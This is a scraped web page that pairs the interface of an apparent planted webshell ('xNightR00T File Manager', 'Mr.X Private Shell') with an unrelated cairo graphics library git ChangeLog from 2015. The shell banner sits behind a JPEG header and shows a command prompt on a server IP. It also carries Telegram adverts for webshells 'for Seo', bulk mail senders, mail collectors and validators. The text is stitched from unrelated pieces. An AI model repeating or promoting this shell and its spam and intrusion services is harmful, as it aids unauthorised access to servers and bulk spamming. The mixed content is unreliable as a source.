xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# Generated by configure.  Do not edit.

commit db8a7f1697c49ae4942d2aa49eed52dd73dd9c7a
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Dec 11 00:45:02 2015 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Dec 11 00:45:02 2015 -0800

    1.15.2 release

 NEWS            | 95 +++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 cairo-version.h |  2 +-
 2 files changed, 94 insertions(+), 3 deletions(-)

commit 6cd5a188e3db142089020e3c50ef280195655fec
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Dec 10 21:00:29 2015 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Dec 10 21:05:25 2015 -0800

    RELEASING: Clarify snapshot numbering rules

 RELEASING | 27 +++++++++++++++------------
 1 file changed, 15 insertions(+), 12 deletions(-)

commit 2dc0149ddea214c925f4a38abc65169242e72432
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Dec 9 16:25:20 2015 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Dec 9 16:25:20 2015 -0800

    RELEASING: Drop inclusion of boilerplate in news messages
    
    Looking back at past release announcements, it's been a long time since
    we included the About Cairo bits.  This info is easily located on the
    website and elsewhere, no need for the redundant data in the
    announcement too.

 RELEASING | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

commit 4ab379c744b2c0d5256692307770846eccd41dce
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Dec 9 14:45:55 2015 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Dec 9 14:45:55 2015 -0800

    RELEASING: Make X.Y.Z versions less ambiguous
    
    The document uses X.Y.Z to sometimes mean the previous release version,
    and in other places to mean the upcoming next release version.  Identify
    these more explicitly.

 RELEASING | 71 ++++++++++++++++++++++++++++++++++++++++++++-------------------
 1 file changed, 50 insertions(+), 21 deletions(-)

commit c7822e6107a207057ac4a6a4c2f2265c31c1a2b9
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Dec 9 14:44:26 2015 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Dec 9 14:44:26 2015 -0800

    RELEASING: Fix misspelling in last commit

 RELEASING | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

commit 817ae4540af5b004b3b69975388cdcf8cdac577d
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Dec 9 12:32:20 2015 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Dec 9 12:32:20 2015 -0800

    RELEASING: Whitespace cleanup.  Fix inconsistent tabbing.

 RELEASING | 64 +++++++++++++++++++++++++++++++++------------------------------
 1 file changed, 34 insertions(+), 30 deletions(-)

commit 0986ae4dee2a903dc16bba289477a38dff36a87b
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Dec 9 11:30:34 2015 -0800
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Dec 9 11:30:34 2015 -0800

    test: Fix use after frees
    
    Fixes:  https://bugs.freedesktop.org/show_bug.cgi?id=93152

 test/pdf-mime-data.c | 2 +-
 test/png.c           | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

commit ad99e1b9d80a9dc8d185f38347d64e1db762523c
Author:     Patrick Fritzsch <Patrick.Fritzsch@cib.de>
AuthorDate: Fri Nov 13 21:16:22 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Fri Nov 13 21:27:34 2015 +1030

    win32: check if GetTextMetrics failed
    
    http://lists.cairographics.org/archives/cairo/2015-November/026544.html

 src/win32/cairo-win32-font.c | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

commit 98d01cd119eaa7d50cf0ec6c6cc32ee170397ad5
Author:     Marc-André Lureau <marcandre.lureau@gmail.com>
AuthorDate: Fri Nov 6 18:13:05 2015 +0100
Commit:     Uli Schlachter <psychon@znc.in>
CommitDate: Fri Nov 6 21:00:48 2015 +0100

    xlib: fix mixing xcb & xlib calls
    
    NextRequest is a macro that doesn't mix well with xcb, since
    dpy->request is not updated. Instead use XNextRequest() that was fixed
    to do the right thing with xcb in libX11 commit:
    http://cgit.freedesktop.org/xorg/lib/libX11/commit/?id=7f8f9a36ef901f31279c385caf960a22daeb33fe
    
    This may solve application X errors when a shmdt() is called by cairo
    before the Attach request is processed.
    
    Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com>
    Signed-off-by: Uli Schlachter <psychon@znc.in>

 src/cairo-xlib-surface-shm.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

commit bf41cc397f460978eaf0aa35bc7341cefc9817b5
Author:     Uli Schlachter <psychon@znc.in>
AuthorDate: Fri Nov 6 20:50:47 2015 +0100
Commit:     Uli Schlachter <psychon@znc.in>
CommitDate: Fri Nov 6 20:50:47 2015 +0100

    Fix cairo-xlib-xcb compilation
    
    This is broken since:
    
    commit b1192beac7c5b56a8ff356d20af5ebfb65404109
    Author: Adrian Johnson <ajohnson@redneon.com>
    Date:   Mon Sep 21 21:35:05 2015 +0930
    
        Don't cull very thin lines on vector surfaces
    
        On vector surfaces, use a minimum line width when calculating extents.
    
        Bug 77298
    
    Signed-off-by: Uli Schlachter <psychon@znc.in>

 src/cairo-xlib-xcb-surface.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

commit fc689d7d351cca1f1b11cef9137fa2c6eec0ee25
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Oct 29 18:21:34 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Oct 29 18:21:34 2015 -0700

    RELEASING: Doc handling devel versions for micro vs minor releases

 RELEASING | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

commit bc4271a1392e5462c875a051c8720d8dd461d4fe
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Oct 29 18:17:39 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Oct 29 18:17:39 2015 -0700

    Bump version for new development tree, 1.15.1

 cairo-version.h | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit e03ab054c129307596b9ec090a0e32a64b0cda71
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Oct 29 11:57:32 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Oct 29 11:57:32 2015 -0700

    RELEASING: Doc what's required to properly undo a publish

 RELEASING | 6 ++++++
 1 file changed, 6 insertions(+)

commit 62ceb0abd970dd23dd03d2a279f62a1e2c63aa2d
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Wed Oct 28 22:15:54 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Oct 28 22:23:53 2015 -0700

    RELEASING: Note how to upload the changelog

 RELEASING | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

commit 247ef2bd63e755963f7930ac06c79b95aed2adb4
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Oct 27 14:27:20 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Wed Oct 28 22:22:31 2015 -0700

    NEWS: Update for 1.14.4 release

 NEWS | 58 +++++++++++++++++-----------------------------------------
 1 file changed, 17 insertions(+), 41 deletions(-)

commit 3fd993a2b16ab75fa8d7afbd1da577c89f020463
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Oct 27 13:53:55 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Tue Oct 27 13:53:55 2015 -0700

    WIP news and release

 NEWS      | 16 ++++++++++++----
 RELEASING | 13 ++++++++-----
 2 files changed, 20 insertions(+), 9 deletions(-)

commit d7371acfe5f54bc14c25c725448fb6401c526f6a
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Oct 27 11:53:14 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Tue Oct 27 11:53:14 2015 -0700

    1.14.4 release

 cairo-version.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 04a40d2ff34a9443bb2f71b57a523878fa9f4d11
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Oct 27 11:10:23 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Tue Oct 27 11:10:23 2015 -0700

    NEWS: Update to cover changes to date

 NEWS | 60 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 60 insertions(+)

commit 481e5986f982238c5603ae3b2feea74aaa964adb
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 22:46:23 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 22:46:23 2015 +1030

    Compile fix

 src/cairo-gl-msaa-compositor.c | 1 +
 1 file changed, 1 insertion(+)

commit 2d026bd2cf4d8cb1973f56b30a7ba8609e3ebb5f
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 22:39:09 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 22:42:37 2015 +1030

    win32-print: support subsurface recording patterns

 src/win32/cairo-win32-display-surface.c  |  6 ++++--
 src/win32/cairo-win32-printing-surface.c | 36 +++++++++++++++++++++++++-------
 2 files changed, 32 insertions(+), 10 deletions(-)

commit b7d864e8c18e4407e69ff897cae7a42eb09b03c9
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 22:38:50 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 22:38:50 2015 +1030

    Compile fix

 src/cairo-gl-source.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

commit aa1323f04cd2c71317e9173fbe26fe7d0ba34908
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 22:02:11 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 22:02:11 2015 +1030

    Fix some surfaces missed in b1192bea

 src/cairo-cogl-surface.c           | 3 ++-
 src/cairo-directfb-surface.c       | 3 ++-
 src/cairo-gl-surface.c             | 3 ++-
 src/cairo-os2-surface.c            | 3 ++-
 src/cairo-quartz-image-surface.c   | 3 ++-
 src/cairo-quartz-surface.c         | 3 ++-
 src/cairo-tee-surface.c            | 3 ++-
 src/cairo-vg-surface.c             | 3 ++-
 src/cairo-xml-surface.c            | 3 ++-
 src/test-compositor-surface.c      | 3 ++-
 src/test-null-compositor-surface.c | 3 ++-
 src/test-paginated-surface.c       | 3 ++-
 12 files changed, 24 insertions(+), 12 deletions(-)

commit 30eb1b0e9778a96c2eb984f243dec5e3c8859e05
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Mon Sep 21 21:35:05 2015 +0930
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 18:39:19 2015 +1030

    Add test case for thin lines
    
    Bug 77298

 test/Makefile.sources                       |   1 +
 test/reference/thin-lines.pdf.ref.png       | Bin 0 -> 371 bytes
 test/reference/thin-lines.ps.argb32.ref.png | Bin 0 -> 332 bytes
 test/reference/thin-lines.ps.rgb24.ref.png  | Bin 0 -> 264 bytes
 test/reference/thin-lines.ref.png           | Bin 0 -> 122 bytes
 test/thin-lines.c                           |  95 ++++++++++++++++++++++++++++
 6 files changed, 96 insertions(+)

commit b1192beac7c5b56a8ff356d20af5ebfb65404109
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Mon Sep 21 21:35:05 2015 +0930
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 18:39:18 2015 +1030

    Don't cull very thin lines on vector surfaces
    
    On vector surfaces, use a minimum line width when calculating extents.
    
    Bug 77298

 src/cairo-analysis-surface.c             |  8 +++++---
 src/cairo-composite-rectangles.c         |  2 +-
 src/cairo-gstate.c                       |  1 +
 src/cairo-image-source.c                 |  5 +++--
 src/cairo-image-surface.c                |  3 ++-
 src/cairo-paginated-surface.c            |  3 ++-
 src/cairo-path-bounds.c                  | 23 +++++++++++++++++++++++
 src/cairo-pdf-surface.c                  |  3 ++-
 src/cairo-ps-surface.c                   |  3 ++-
 src/cairo-recording-surface.c            |  8 +++++---
 src/cairo-script-surface.c               |  6 ++++--
 src/cairo-surface-observer.c             |  3 ++-
 src/cairo-surface-private.h              |  1 +
 src/cairo-surface-snapshot.c             |  3 ++-
 src/cairo-surface-subsurface.c           |  6 ++++--
 src/cairo-surface.c                      |  7 +++++--
 src/cairo-svg-surface.c                  |  3 ++-
 src/cairo-type3-glyph-surface.c          |  3 ++-
 src/cairo-xcb-surface-core.c             |  6 ++++--
 src/cairo-xcb-surface-render.c           |  3 ++-
 src/cairo-xcb-surface.c                  |  3 ++-
 src/cairo-xlib-source.c                  |  9 ++++++---
 src/cairo-xlib-surface-shm.c             |  3 ++-
 src/cairo-xlib-surface.c                 |  3 ++-
 src/cairoint.h                           |  4 +++-
 src/win32/cairo-win32-printing-surface.c |  3 ++-
 26 files changed, 91 insertions(+), 34 deletions(-)

commit 6656cafebfdac3365e8f903eb408043507a5e551
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 18:33:01 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 18:33:36 2015 +1030

    win32-print: support raster_source patterns

 src/win32/cairo-win32-printing-surface.c | 463 ++++++++++++++++++++++++-------
 1 file changed, 355 insertions(+), 108 deletions(-)

commit 9fcb42f7fe530da40d96dbc56ea7a8423fa3505a
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 18:32:59 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 18:32:59 2015 +1030

    win32-print: fix warnings

 src/win32/cairo-win32-printing-surface.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

commit 2c45fdfc15a81eae6196f92c9768f3d895bd0819
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 18:32:57 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 18:32:57 2015 +1030

    win32-print: Fix the page extents
    
    As the page size can be changed between pages, set the extents in
    _start_page. The extents are invalidated in _show_page since the
    page size on the DC may be changed after this call. The only thing that
    uses the extents between _show_page and _start_page (and before the first
    _start_page) is the creation of the recording surface in the paginated
    surface. In this case, when the paginated surface can't get the extents,
    it will create an unbounded recording surface.
    
    The extents x,y is always set to 0 to prevent the replay from translating
    the page.

 src/win32/cairo-win32-printing-surface.c | 48 ++++++++++++++++++++++++++------
 src/win32/cairo-win32-private.h          |  1 +
 2 files changed, 41 insertions(+), 8 deletions(-)

commit 094f0e0fa0153f290061635eed51e8d1dbe2cf4a
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 16:50:50 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 18:16:33 2015 +1030

    pdf: fix subsurface recordings

 src/cairo-pdf-surface.c | 33 +++++++++++++++++++++------------
 1 file changed, 21 insertions(+), 12 deletions(-)

commit 2215b4e0c0f90a90f659aa0cfc28fc02dfce3339
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 16:25:16 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 18:16:32 2015 +1030

    ps: fix subsurface recordings

 src/cairo-ps-surface.c      | 35 +++++++++++++++++------------------
 src/cairo-surface-wrapper.c |  6 +++---
 2 files changed, 20 insertions(+), 21 deletions(-)

commit 6952e03262717751716f48114e6a921b62a0ecee
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sat Oct 17 13:15:56 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sat Oct 17 18:16:22 2015 +1030

    ps: fix raster source patterns

 src/cairo-ps-surface.c                  |   1 +
 test/reference/raster-source.ps.ref.png | Bin 1894 -> 1908 bytes
 2 files changed, 1 insertion(+)

commit e294ca19f2777fa2abbd59eb7aa375f801c92eb6
Author:     Bryce Harrington <bryce@bryceharrington.org>
AuthorDate: Wed Oct 14 18:13:22 2015 -0700
Commit:     Bryce Harrington <bryce@bryceharrington.org>
CommitDate: Wed Oct 14 18:13:42 2015 -0700

    NEWS: Whitespace cleanup

 NEWS | 63 ++++++++++++++++++++++++++++++++-------------------------------
 1 file changed, 32 insertions(+), 31 deletions(-)

commit 7cc77d1ceea850d5728f4fad59ec18984dbc9ccb
Author:     Bryce Harrington <bryce@bryceharrington.org>
AuthorDate: Wed Oct 14 18:10:22 2015 -0700
Commit:     Bryce Harrington <bryce@bryceharrington.org>
CommitDate: Wed Oct 14 18:13:42 2015 -0700

    build: Use memory barriers for ARM
    
    ARM has much weaker memory ordering guarantees than x86 by default, and
    needs the memory barriers.  A similar fix exists in the Skia codebase.
    Fix suggested by Nathan Froyd.
    
    Fixes: FDO #90302
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>
    Acked-by: "Henry (Yu) Song" <henry.song@samsung.com>

 build/aclocal.cairo.m4 | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 25a55822b4e22728834c96c8e73176d42bb406e3
Author:     Uli Schlachter <psychon@znc.in>
AuthorDate: Wed Oct 14 14:24:16 2015 +0200
Commit:     Uli Schlachter <psychon@znc.in>
CommitDate: Wed Oct 14 14:26:47 2015 +0200

    xcb: Fix _put_image_boxes() if no SHM is available
    
    This function tries to use _cairo_xcb_connection_put_image() to do the actual
    work. However, that function can only be used for images with "native" stride.
    If we only want to upload a rectangle from within an image, the function
    _cairo_xcb_connection_put_subimage() has to be used. This function makes sure
    that the correct information is sent to the X11 server.
    
    No unit test for this, because we currently do not test the !SHM case
    automatically. Perhaps we should?
    
    Signed-off-by: Uli Schlachter <psychon@znc.in>

 src/cairo-xcb-surface.c | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

commit d31dc73f9ba1facdbeee722c022d438f15e5f264
Author:     Uli Schlachter <psychon@znc.in>
AuthorDate: Wed Oct 14 14:22:50 2015 +0200
Commit:     Uli Schlachter <psychon@znc.in>
CommitDate: Wed Oct 14 14:26:32 2015 +0200

    xcb: Fix _put_shm_image_boxes if no SHM available
    
    This function always returned CAIRO_INT_STATUS_SUCCESS, even if it didn't do
    anything. This commit makes the function return CAIRO_INT_STATUS_UNSUPPORTED
    instead.
    
    No unit test for this, because we currently do not test the !SHM case
    automatically. Perhaps we should?
    
    Signed-off-by: Uli Schlachter <psychon@znc.in>

 src/cairo-xcb-surface.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

commit 0537479bd1d4c5a3bc0f6f41dec4deb98481f34a
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Mon Oct 5 16:10:02 2015 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Mon Oct 5 16:10:02 2015 +1030

    ps: merge emit_recording surface and emit_recording_subsurface into one function
    
    Most of each function was identical.

 src/cairo-ps-surface.c | 130 ++++++++++++-------------------------------------
 1 file changed, 31 insertions(+), 99 deletions(-)

commit e5d4f520aaa0107f82ad7683e4f9763d6edcc23b
Author:     Rodrigo Rivas Costa <rodrigorivascosta@gmail.com>
AuthorDate: Wed Sep 30 23:53:23 2015 +0930
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Wed Sep 30 23:53:23 2015 +0930

    win32-print: fix transparent images have black background
    
    Bug 91835

 src/win32/cairo-win32-printing-surface.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 495362279b42620071c6b46f69918ce324aee0db
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sun Sep 27 08:27:53 2015 +0930
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sun Sep 27 09:34:37 2015 +0930

    scaled-font-subsets: if glyph 0 used for rendering, remap to different index
    
    Some broken pdfs use glyph 0 in embedded fonts for rendering instead of .notdef.
    The cmap we use for embedding latin fonts does not allow rendering glyph 0. Ensure
    if glyph 0 is used, it is mapped to a non 0 glyph in the subset.
    
    Bug 89082

 src/cairo-scaled-font-subsets-private.h |   5 ++
 src/cairo-scaled-font-subsets.c         | 115 +++++++++++++++++++++++++++-----
 2 files changed, 103 insertions(+), 17 deletions(-)

commit 6f7a9b4f0375cdadf08486e4b877ee2afc176b39
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Aug 28 13:23:45 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Sep 10 11:18:08 2015 -0700

    Ensure null-terminated result from strncpy()

 src/cairo-scaled-font-subsets.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

commit b353d1f1b167615f8ba718b3843926860e94be77
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Mon Sep 7 22:20:08 2015 +0930
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Mon Sep 7 22:20:08 2015 +0930

    cff: opentype fonts always use gid to lookup glyph
    
    Bug 91902

 src/cairo-cff-subset.c | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

commit f6c46d9473e40d4a3363c96e1fc7fffc81ed12e7
Author:     Sahil Vij <sahil.vij@samsung.com>
AuthorDate: Fri Aug 7 18:01:18 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Aug 7 18:02:07 2015 -0700

    gl: Fix bug in _cairo_gl_pattern_texture_setup()
    
    The memory allocated to "image" at line 298 is not freed before moving to label fail at line 305 and 314.
    This patch takes care of this memory leak in above mentioned cases.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=91537
    Signed-off-by: Sahil Vij <sahil.vij@samsung.com>
    Reviewed-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-gl-operand.c | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

commit e40806ecdf81e46aa805a9298b603233656cc931
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Jul 31 19:00:48 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Jul 31 19:00:48 2015 -0700

    test: Add script to display the difference between two result sets

 test/compare-results | 57 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 57 insertions(+)

commit 60c2f69535d3879a10046a8108486a7dc47de6fc
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Jul 31 18:59:34 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Jul 31 18:59:34 2015 -0700

    test: Add script to summarize the test results from a run

 test/summarize-test-results.sh | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

commit e0963f6c8ec1be9f68b851ee998d0cef3e647028
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Jul 31 17:55:54 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Jul 31 17:56:54 2015 -0700

    gitignore:  Ignore .trs (test results)

 boilerplate/.gitignore | 1 +
 doc/public/.gitignore  | 1 +
 src/.gitignore         | 1 +
 test/.gitignore        | 1 +
 4 files changed, 4 insertions(+)

commit 79467f0982cac793b2b724850628fc90a8bb6072
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Jul 31 17:52:30 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Jul 31 17:56:54 2015 -0700

    NEWS: Begin filling out news entry for upcoming 1.14.4.
    
    This covers commits up to noon on Jun 18, 2015.

 NEWS | 44 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

commit 1fca50ea737307cd5e6ed153dafb8573752cc6e5
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Jul 31 14:19:01 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Jul 31 17:56:54 2015 -0700

    NEWS: Fix date on release

 NEWS | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 2de9fca5f379b57b25d4963d51ab5f082a326b98
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Jul 30 17:16:53 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jul 30 17:16:53 2015 -0700

    boilerplate: Fix list termination for glXChooseVisual
    
    The attribute list is terminated by GLX_NONE (defined as 0x8000), but
    the man page of 'glXChooseVisual' says it must be terminated with None
    (0L).
    
    Issue found and fix suggested by Massimo.
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=91293

 boilerplate/cairo-boilerplate-glx.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit c04bd4308382db00347016e666f38fcfe8ee1f08
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Jul 30 16:45:15 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Jul 30 16:45:15 2015 -0700

    test: Free the memory, not the pointer to the memory
    
    In read_file(), we see:
    
        *data = malloc (*len);
        ...
        if (fread(*data, *len, 1, fp) != 1) {
          free(data);
          ...
    
    The free call needs to be free(*data), to match the malloc call.
    
    Matthias Clasen found this via Coverity and proposed the fix.
    
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=91381

 test/pdf-mime-data.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 0dd5d84baef70dad68ab67ba172edeaa1b98a995
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Tue Jul 28 17:10:33 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Tue Jul 28 17:10:33 2015 -0700

    svg2png: Only call deprecated g_type_init() for old glib versions.
    
    Quells the following warning:
    
    pdf2png.c:52:5: warning: ‘g_type_init’ is deprecated (declared at
    /usr/include/glib-2.0/gobject/gtype.h:667) [-Wdeprecated-declarations]
         g_type_init ();
         ^
    svg2png.c:47:5: warning: ‘g_type_init’ is deprecated (declared at
    /usr/include/glib-2.0/gobject/gtype.h:667) [-Wdeprecated-declarations]
         g_type_init ();
         ^
    
    Patch authored by arpitj01@gmail.com
    
    Fixes:  https://bugs.freedesktop.org/show_bug.cgi?id=81197
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 test/svg2png.c | 2 ++
 1 file changed, 2 insertions(+)

commit 576bb3ffee2318cd50ecfd4717c8e6421d61d885
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Mon Jul 27 18:00:55 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Jul 27 18:20:07 2015 -0700

    If more than one trap is passed in then it's guaranteed that the
    returned traps will have their left edge to the left of their right
    edge, but if only one trap is passed in then the function always returns
    without doing anything.  This results in incorrect rendering of SVG
    paths with more than one subpath.
    
    Currently calls to _cairo_bentley_ottmann_tessellate_rectangular_traps
    are guarded by traps.has_intersections checks, so this is only a
    theoretical bug.  But we'll eliminate the potential of the bug by
    making the left side to be left of the right side, similar to what was
    done in _cairo_bentley_ottmann_tessellate_boxes (commit 11b6c49c).
    
    Patch authored by Tom Klein for Mozilla.
    
    Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=90984
    Ref: https://bugzilla.mozilla.org/show_bug.cgi?id=853889
    Signed-off-by: Bryce Harrington <bryce@osg.samsung.com>

 src/cairo-bentley-ottmann-rectangular.c | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

commit c7cf0dfd602355e0c4fd1126e63844c304c1ef45
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Mon Jul 27 14:15:11 2015 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Jul 27 14:15:11 2015 -0700

    Revert "cairo-gl: Fix compiler warning if CAIRO_HAS_*_FUNCTIONS is not defined."
    
    This reverts commit c8b6c6066a238cf4cb04679e1149e956b1556a0c.
    
    An undefined macro is evaluated as 0.
    The preference is to use #if MACRO_NAME rather than #ifdef.
    
